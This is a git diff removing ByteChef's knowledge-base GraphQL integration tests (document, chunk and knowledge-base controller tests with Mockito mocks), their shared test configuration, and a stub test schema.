--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentChunkGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,209 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql;
-
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentChunkFacade;
-import com.bytechef.automation.knowledgebase.web.graphql.config.AutomationKnowledgeBaseGraphQlConfigurationSharedMocks;
-import com.bytechef.automation.knowledgebase.web.graphql.config.AutomationKnowledgeBaseGraphQlTestConfiguration;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * Integration tests for {@link KnowledgeBaseDocumentChunkGraphQlController}.
- *
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    AutomationKnowledgeBaseGraphQlTestConfiguration.class,
-    KnowledgeBaseDocumentChunkGraphQlController.class
-})
-@GraphQlTest(
-    controllers = KnowledgeBaseDocumentChunkGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "bytechef.knowledge-base.enabled=true",
-        "spring.graphql.schema.locations=classpath*:graphql/**/"
-    })
-@AutomationKnowledgeBaseGraphQlConfigurationSharedMocks
-class KnowledgeBaseDocumentChunkGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private KnowledgeBaseDocumentChunkFacade knowledgeBaseDocumentChunkFacade;
-
-    @Test
-    void testUpdateKnowledgeBaseDocumentChunk() {
-        Long chunkId = 1L;
-        String newContent = "Updated content";
-
-        KnowledgeBaseDocumentChunk mockChunk = createMockChunk(chunkId, newContent);
-
-        when(knowledgeBaseDocumentChunkFacade.updateKnowledgeBaseDocumentChunk(eq(chunkId), eq(newContent)))
-            .thenReturn(mockChunk);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    updateKnowledgeBaseDocumentChunk(
-                        id: "1",
-                        knowledgeBaseDocumentChunk: {content: "Updated content"}
-                    ) {
-                        id
-                        content
-                    }
-                }
-                """)
-            .execute()
-            .path("updateKnowledgeBaseDocumentChunk.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("updateKnowledgeBaseDocumentChunk.content")
-            .entity(String.class)
-            .isEqualTo("Updated content");
-
-        verify(knowledgeBaseDocumentChunkFacade).updateKnowledgeBaseDocumentChunk(eq(chunkId), eq(newContent));
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocumentChunk() {
-        Long chunkId = 1L;
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    deleteKnowledgeBaseDocumentChunk(id: "1")
-                }
-                """)
-            .execute()
-            .path("deleteKnowledgeBaseDocumentChunk")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(knowledgeBaseDocumentChunkFacade).deleteKnowledgeBaseDocumentChunk(chunkId);
-    }
-
-    @Test
-    void testChunkContentSchemaMapping() {
-        Long chunkId = 1L;
-        String content = "Test chunk content";
-
-        KnowledgeBaseDocumentChunk mockChunk = createMockChunk(chunkId, content);
-
-        when(knowledgeBaseDocumentChunkFacade.updateKnowledgeBaseDocumentChunk(eq(chunkId), eq(content)))
-            .thenReturn(mockChunk);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    updateKnowledgeBaseDocumentChunk(
-                        id: "1",
-                        knowledgeBaseDocumentChunk: {content: "Test chunk content"}
-                    ) {
-                        id
-                        content
-                    }
-                }
-                """)
-            .execute()
-            .path("updateKnowledgeBaseDocumentChunk.content")
-            .entity(String.class)
-            .isEqualTo("Test chunk content");
-    }
-
-    @Test
-    void testChunkMetadataSchemaMapping() {
-        Long chunkId = 1L;
-        String content = "Test content";
-
-        KnowledgeBaseDocumentChunk mockChunk = createMockChunk(chunkId, content);
-
-        mockChunk.setMetadata(Map.of("key1", "value1", "key2", "value2"));
-
-        when(knowledgeBaseDocumentChunkFacade.updateKnowledgeBaseDocumentChunk(eq(chunkId), eq(content)))
-            .thenReturn(mockChunk);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    updateKnowledgeBaseDocumentChunk(
-                        id: "1",
-                        knowledgeBaseDocumentChunk: {content: "Test content"}
-                    ) {
-                        id
-                        metadata
-                    }
-                }
-                """)
-            .execute()
-            .path("updateKnowledgeBaseDocumentChunk.id")
-            .entity(String.class)
-            .isEqualTo("1");
-    }
-
-    @Test
-    void testChunkScoreSchemaMapping() {
-        Long chunkId = 1L;
-        String content = "Test content";
-
-        KnowledgeBaseDocumentChunk mockChunk = createMockChunk(chunkId, content);
-
-        mockChunk.setScore(0.95f);
-
-        when(knowledgeBaseDocumentChunkFacade.updateKnowledgeBaseDocumentChunk(eq(chunkId), eq(content)))
-            .thenReturn(mockChunk);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    updateKnowledgeBaseDocumentChunk(
-                        id: "1",
-                        knowledgeBaseDocumentChunk: {content: "Test content"}
-                    ) {
-                        id
-                        score
-                    }
-                }
-                """)
-            .execute()
-            .path("updateKnowledgeBaseDocumentChunk.score")
-            .entity(Float.class)
-            .isEqualTo(0.95f);
-    }
-
-    private KnowledgeBaseDocumentChunk createMockChunk(Long id, String content) {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setId(id);
-        chunk.setKnowledgeBaseDocumentId(1L);
-        chunk.setVectorStoreId("vector-store-id-" + id);
-        chunk.setTextContent(content);
-        chunk.setVersion(1);
-
-        return chunk;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentGraphQlControllerIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentGraphQlControllerIntTest.java
deleted file mode 100644
index cde7e6592ac..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,267 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql;
-
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.dto.DocumentStatusUpdate;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentChunkFacade;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentFacade;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.automation.knowledgebase.web.graphql.config.AutomationKnowledgeBaseGraphQlConfigurationSharedMocks;
-import com.bytechef.automation.knowledgebase.web.graphql.config.AutomationKnowledgeBaseGraphQlTestConfiguration;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.platform.tag.domain.Tag;
-import com.bytechef.platform.tag.service.TagService;
-import java.util.List;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * Integration tests for {@link KnowledgeBaseDocumentGraphQlController}.
- *
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    AutomationKnowledgeBaseGraphQlTestConfiguration.class,
-    KnowledgeBaseDocumentGraphQlController.class
-})
-@GraphQlTest(
-    controllers = KnowledgeBaseDocumentGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "bytechef.knowledge-base.enabled=true",
-        "spring.graphql.schema.locations=classpath*:graphql/**/"
-    })
-@AutomationKnowledgeBaseGraphQlConfigurationSharedMocks
-class KnowledgeBaseDocumentGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private KnowledgeBaseDocumentChunkFacade knowledgeBaseDocumentChunkFacade;
-
-    @Autowired
-    private KnowledgeBaseDocumentFacade knowledgeBaseDocumentFacade;
-
-    @Autowired
-    private KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-
-    @Autowired
-    private TagService tagService;
-
-    @Test
-    void testGetKnowledgeBaseDocument() {
-        Long documentId = 1L;
-        KnowledgeBaseDocument mockDocument = createMockDocument(documentId, "Test Document");
-
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocument(documentId)).thenReturn(mockDocument);
-
-        this.graphQlTester
-            .document("""
-                query {
-                    knowledgeBaseDocument(id: "1") {
-                        id
-                        name
-                        status
-                    }
-                }
-                """)
-            .execute()
-            .path("knowledgeBaseDocument.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("knowledgeBaseDocument.name")
-            .entity(String.class)
-            .isEqualTo("Test Document")
-            .path("knowledgeBaseDocument.status")
-            .entity(Integer.class)
-            .isEqualTo(KnowledgeBaseDocument.STATUS_READY);
-
-        verify(knowledgeBaseDocumentService).getKnowledgeBaseDocument(documentId);
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentStatus() {
-        Long documentId = 1L;
-        DocumentStatusUpdate mockStatusUpdate =
-            DocumentStatusUpdate.of(documentId, KnowledgeBaseDocument.STATUS_PROCESSING);
-
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocumentStatus(documentId)).thenReturn(mockStatusUpdate);
-
-        this.graphQlTester
-            .document("""
-                query {
-                    knowledgeBaseDocumentStatus(id: "1") {
-                        documentId
-                        status
-                    }
-                }
-                """)
-            .execute()
-            .path("knowledgeBaseDocumentStatus.documentId")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("knowledgeBaseDocumentStatus.status")
-            .entity(Integer.class)
-            .isEqualTo(KnowledgeBaseDocument.STATUS_PROCESSING);
-
-        verify(knowledgeBaseDocumentService).getKnowledgeBaseDocumentStatus(documentId);
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocument() {
-        Long documentId = 1L;
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    deleteKnowledgeBaseDocument(id: "1")
-                }
-                """)
-            .execute()
-            .path("deleteKnowledgeBaseDocument")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(knowledgeBaseDocumentFacade).deleteKnowledgeBaseDocument(documentId);
-    }
-
-    @Test
-    void testDocumentChunks() {
-        Long documentId = 1L;
-        KnowledgeBaseDocument mockDocument = createMockDocument(documentId, "Test Document");
-
-        List<KnowledgeBaseDocumentChunk> mockChunks = List.of(
-            createMockChunk(1L, "Chunk 1 content"),
-            createMockChunk(2L, "Chunk 2 content"));
-
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocument(documentId)).thenReturn(mockDocument);
-        when(knowledgeBaseDocumentChunkFacade.getKnowledgeBaseDocumentChunksByDocumentId(documentId))
-            .thenReturn(mockChunks);
-
-        this.graphQlTester
-            .document("""
-                query {
-                    knowledgeBaseDocument(id: "1") {
-                        id
-                        chunks {
-                            id
-                        }
-                    }
-                }
-                """)
-            .execute()
-            .path("knowledgeBaseDocument.chunks")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(knowledgeBaseDocumentChunkFacade).getKnowledgeBaseDocumentChunksByDocumentId(documentId);
-    }
-
-    @Test
-    void testDocumentTags() {
-        Long documentId = 1L;
-        KnowledgeBaseDocument mockDocument = createMockDocument(documentId, "Test Document");
-
-        mockDocument.setTagIds(List.of(1L, 2L));
-
-        List<Tag> mockTags = List.of(
-            new Tag(1L, "Tag 1"),
-            new Tag(2L, "Tag 2"));
-
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocument(documentId)).thenReturn(mockDocument);
-        when(tagService.getTags(List.of(1L, 2L))).thenReturn(mockTags);
-
-        this.graphQlTester
-            .document("""
-                query {
-                    knowledgeBaseDocument(id: "1") {
-                        id
-                        tags {
-                            id
-                            name
-                        }
-                    }
-                }
-                """)
-            .execute()
-            .path("knowledgeBaseDocument.tags")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(tagService).getTags(List.of(1L, 2L));
-    }
-
-    @Test
-    void testDocumentTagsEmpty() {
-        Long documentId = 1L;
-        KnowledgeBaseDocument mockDocument = createMockDocument(documentId, "Test Document");
-
-        mockDocument.setTagIds(List.of());
-
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocument(documentId)).thenReturn(mockDocument);
-
-        this.graphQlTester
-            .document("""
-                query {
-                    knowledgeBaseDocument(id: "1") {
-                        id
-                        tags {
-                            id
-                        }
-                    }
-                }
-                """)
-            .execute()
-            .path("knowledgeBaseDocument.tags")
-            .entityList(Object.class)
-            .hasSize(0);
-    }
-
-    private KnowledgeBaseDocument createMockDocument(Long id, String name) {
-        KnowledgeBaseDocument document = new KnowledgeBaseDocument();
-
-        document.setId(id);
-        document.setKnowledgeBaseId(1L);
-        document.setName(name);
-        document.setDocument(new FileEntry(name + ".txt", "file://test/" + name + ".txt"));
-        document.setStatus(KnowledgeBaseDocument.STATUS_READY);
-        document.setVersion(1);
-
-        return document;
-    }
-
-    private KnowledgeBaseDocumentChunk createMockChunk(Long id, String content) {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setId(id);
-        chunk.setKnowledgeBaseDocumentId(1L);
-        chunk.setVectorStoreId("vector-store-id-" + id);
-        chunk.setTextContent(content);
-        chunk.setVersion(1);
-
-        return chunk;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseGraphQlControllerIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseGraphQlControllerIntTest.java
deleted file mode 100644
index 808c16bbfc1..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,300 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseFacade;
-import com.bytechef.automation.knowledgebase.facade.WorkspaceKnowledgeBaseFacade;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseService;
-import com.bytechef.automation.knowledgebase.web.graphql.config.AutomationKnowledgeBaseGraphQlConfigurationSharedMocks;
-import com.bytechef.automation.knowledgebase.web.graphql.config.AutomationKnowledgeBaseGraphQlTestConfiguration;
-import com.bytechef.file.storage.domain.FileEntry;
-import java.util.List;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * Integration tests for {@link KnowledgeBaseGraphQlController}.
- *
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    AutomationKnowledgeBaseGraphQlTestConfiguration.class,
-    KnowledgeBaseGraphQlController.class,
-    KnowledgeBaseDocumentGraphQlController.class,
-    KnowledgeBaseDocumentChunkGraphQlController.class
-})
-@GraphQlTest(
-    controllers = {
-        KnowledgeBaseGraphQlController.class,
-        KnowledgeBaseDocumentGraphQlController.class,
-        KnowledgeBaseDocumentChunkGraphQlController.class
-    },
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "bytechef.knowledge-base.enabled=true",
-        "spring.graphql.schema.locations=classpath*:graphql/**/"
-    })
-@AutomationKnowledgeBaseGraphQlConfigurationSharedMocks
-class KnowledgeBaseGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-
-    @Autowired
-    private KnowledgeBaseFacade knowledgeBaseFacade;
-
-    @Autowired
-    private KnowledgeBaseService knowledgeBaseService;
-
-    @Autowired
-    private WorkspaceKnowledgeBaseFacade workspaceKnowledgeBaseFacade;
-
-    @Test
-    void testGetKnowledgeBases() {
-        Long workspaceId = 1L;
-        List<KnowledgeBase> mockKnowledgeBases = List.of(
-            createMockKnowledgeBase(1L, "KnowledgeBase 1"),
-            createMockKnowledgeBase(2L, "KnowledgeBase 2"));
-
-        when(workspaceKnowledgeBaseFacade.getWorkspaceKnowledgeBases(workspaceId)).thenReturn(mockKnowledgeBases);
-
-        this.graphQlTester
-            .document("""
-                query {
-                    knowledgeBases(workspaceId: "1") {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("knowledgeBases")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(workspaceKnowledgeBaseFacade).getWorkspaceKnowledgeBases(workspaceId);
-    }
-
-    @Test
-    void testGetKnowledgeBase() {
-        Long knowledgeBaseId = 1L;
-        KnowledgeBase mockKnowledgeBase = createMockKnowledgeBase(knowledgeBaseId, "Test KnowledgeBase");
-
-        when(knowledgeBaseService.getKnowledgeBase(knowledgeBaseId)).thenReturn(mockKnowledgeBase);
-
-        this.graphQlTester
-            .document("""
-                query {
-                    knowledgeBase(id: "1") {
-                        id
-                        name
-                        description
-                    }
-                }
-                """)
-            .execute()
-            .path("knowledgeBase.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("knowledgeBase.name")
-            .entity(String.class)
-            .isEqualTo("Test KnowledgeBase");
-
-        verify(knowledgeBaseService).getKnowledgeBase(knowledgeBaseId);
-    }
-
-    @Test
-    void testSearchKnowledgeBase() {
-        Long knowledgeBaseId = 1L;
-        String query = "test query";
-
-        List<KnowledgeBaseDocumentChunk> mockChunks = List.of(
-            createMockChunk(1L, "chunk content 1"),
-            createMockChunk(2L, "chunk content 2"));
-
-        when(knowledgeBaseFacade.searchKnowledgeBase(eq(knowledgeBaseId), eq(query), any())).thenReturn(mockChunks);
-
-        this.graphQlTester
-            .document("""
-                query {
-                    searchKnowledgeBase(id: "1", query: "test query") {
-                        id
-                    }
-                }
-                """)
-            .execute()
-            .path("searchKnowledgeBase")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(knowledgeBaseFacade).searchKnowledgeBase(eq(knowledgeBaseId), eq(query), any());
-    }
-
-    @Test
-    void testCreateKnowledgeBase() {
-        Long workspaceId = 1L;
-        KnowledgeBase mockKnowledgeBase = createMockKnowledgeBase(1L, "New KnowledgeBase");
-
-        when(workspaceKnowledgeBaseFacade.createWorkspaceKnowledgeBase(any(KnowledgeBase.class), eq(workspaceId)))
-            .thenReturn(mockKnowledgeBase);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    createKnowledgeBase(knowledgeBase: {name: "New KnowledgeBase"}, workspaceId: "1") {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("createKnowledgeBase.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("createKnowledgeBase.name")
-            .entity(String.class)
-            .isEqualTo("New KnowledgeBase");
-
-        verify(workspaceKnowledgeBaseFacade).createWorkspaceKnowledgeBase(any(KnowledgeBase.class), eq(workspaceId));
-    }
-
-    @Test
-    void testUpdateKnowledgeBase() {
-        Long knowledgeBaseId = 1L;
-        KnowledgeBase mockKnowledgeBase = createMockKnowledgeBase(knowledgeBaseId, "Updated KnowledgeBase");
-
-        when(knowledgeBaseService.updateKnowledgeBase(eq(knowledgeBaseId), any(KnowledgeBase.class)))
-            .thenReturn(mockKnowledgeBase);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    updateKnowledgeBase(id: "1", knowledgeBase: {name: "Updated KnowledgeBase"}) {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("updateKnowledgeBase.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("updateKnowledgeBase.name")
-            .entity(String.class)
-            .isEqualTo("Updated KnowledgeBase");
-
-        verify(knowledgeBaseService).updateKnowledgeBase(eq(knowledgeBaseId), any(KnowledgeBase.class));
-    }
-
-    @Test
-    void testDeleteKnowledgeBase() {
-        Long knowledgeBaseId = 1L;
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    deleteKnowledgeBase(id: "1")
-                }
-                """)
-            .execute()
-            .path("deleteKnowledgeBase")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(workspaceKnowledgeBaseFacade).deleteWorkspaceKnowledgeBase(knowledgeBaseId);
-    }
-
-    @Test
-    void testKnowledgeBaseDocuments() {
-        Long knowledgeBaseId = 1L;
-        KnowledgeBase mockKnowledgeBase = createMockKnowledgeBase(knowledgeBaseId, "Test KnowledgeBase");
-
-        List<KnowledgeBaseDocument> mockDocuments = List.of(
-            createMockDocument(1L, "Document 1"),
-            createMockDocument(2L, "Document 2"));
-
-        when(knowledgeBaseService.getKnowledgeBase(knowledgeBaseId)).thenReturn(mockKnowledgeBase);
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocuments(knowledgeBaseId)).thenReturn(mockDocuments);
-
-        this.graphQlTester
-            .document("""
-                query {
-                    knowledgeBase(id: "1") {
-                        id
-                        documents {
-                            id
-                            name
-                        }
-                    }
-                }
-                """)
-            .execute()
-            .path("knowledgeBase.documents")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(knowledgeBaseDocumentService).getKnowledgeBaseDocuments(knowledgeBaseId);
-    }
-
-    private KnowledgeBase createMockKnowledgeBase(Long id, String name) {
-        KnowledgeBase knowledgeBase = new KnowledgeBase();
-
-        knowledgeBase.setId(id);
-        knowledgeBase.setName(name);
-        knowledgeBase.setVersion(1);
-
-        return knowledgeBase;
-    }
-
-    private KnowledgeBaseDocument createMockDocument(Long id, String name) {
-        KnowledgeBaseDocument document = new KnowledgeBaseDocument();
-
-        document.setId(id);
-        document.setName(name);
-        document.setDocument(new FileEntry(name + ".txt", "file://test/" + name + ".txt"));
-        document.setStatus(KnowledgeBaseDocument.STATUS_READY);
-        document.setVersion(1);
-
-        return document;
-    }
-
-    private KnowledgeBaseDocumentChunk createMockChunk(Long id, String content) {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setId(id);
-        chunk.setVectorStoreId("vector-store-id-" + id);
-        chunk.setTextContent(content);
-        chunk.setVersion(1);
-
-        return chunk;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/config/AutomationKnowledgeBaseGraphQlConfigurationSharedMocks.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/config/AutomationKnowledgeBaseGraphQlConfigurationSharedMocks.java
deleted file mode 100644
index 6d32612c234..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/config/AutomationKnowledgeBaseGraphQlConfigurationSharedMocks.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql.config;
-
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentChunkFacade;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentFacade;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseFacade;
-import com.bytechef.automation.knowledgebase.facade.WorkspaceKnowledgeBaseFacade;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseService;
-import com.bytechef.platform.tag.service.TagService;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import org.springframework.test.context.bean.override.mockito.MockitoBean;
-
-/**
- * Shared mocks annotation for KnowledgeBase GraphQL integration tests.
- *
- * @author Ivica Cardic
- */
-@Target(ElementType.TYPE)
-@Retention(RetentionPolicy.RUNTIME)
-@MockitoBean(types = {
-    KnowledgeBaseDocumentChunkFacade.class, KnowledgeBaseDocumentFacade.class,
-    KnowledgeBaseDocumentService.class, KnowledgeBaseFacade.class, KnowledgeBaseService.class,
-    TagService.class, WorkspaceKnowledgeBaseFacade.class
-})
-public @interface AutomationKnowledgeBaseGraphQlConfigurationSharedMocks {
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/config/AutomationKnowledgeBaseGraphQlTestConfiguration.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/config/AutomationKnowledgeBaseGraphQlTestConfiguration.java
deleted file mode 100644
index 417fc18e94b..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/config/AutomationKnowledgeBaseGraphQlTestConfiguration.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql.config;
-
-import com.bytechef.test.config.graphql.GraphQLScalarTypes;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.graphql.execution.RuntimeWiringConfigurer;
-
-/**
- * Test configuration for KnowledgeBase GraphQL integration tests.
- *
- * @author Ivica Cardic
- */
-@Configuration
-public class AutomationKnowledgeBaseGraphQlTestConfiguration {
-
-    @Bean
-    RuntimeWiringConfigurer longScalarWiringConfigurer() {
-        return wiringBuilder -> wiringBuilder.scalar(GraphQLScalarTypes.longScalar());
-    }
-
-    @Bean
-    RuntimeWiringConfigurer mapScalarWiringConfigurer() {
-        return wiringBuilder -> wiringBuilder.scalar(GraphQLScalarTypes.mapScalar());
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/resources/graphql/test.graphqls b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/resources/graphql/test.graphqls
deleted file mode 100644
index 45cc3b2c379..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/resources/graphql/test.graphqls
+++ /dev/null
@@ -1,30 +0,0 @@
-# Test-only GraphQL base operations and minimal type stubs for GraphQL slice tests in this module.
-
-# Base operation types so that 'extend type Query/Mutation' from main resources can merge.
-type Query {
-    _placeholder: Boolean
-}
-
-type Mutation {
-    _placeholder: Boolean
-}
-
-type Subscription {
-    _placeholder: Boolean
-}
-
-# Minimal type stubs referenced by this module's SDL
-
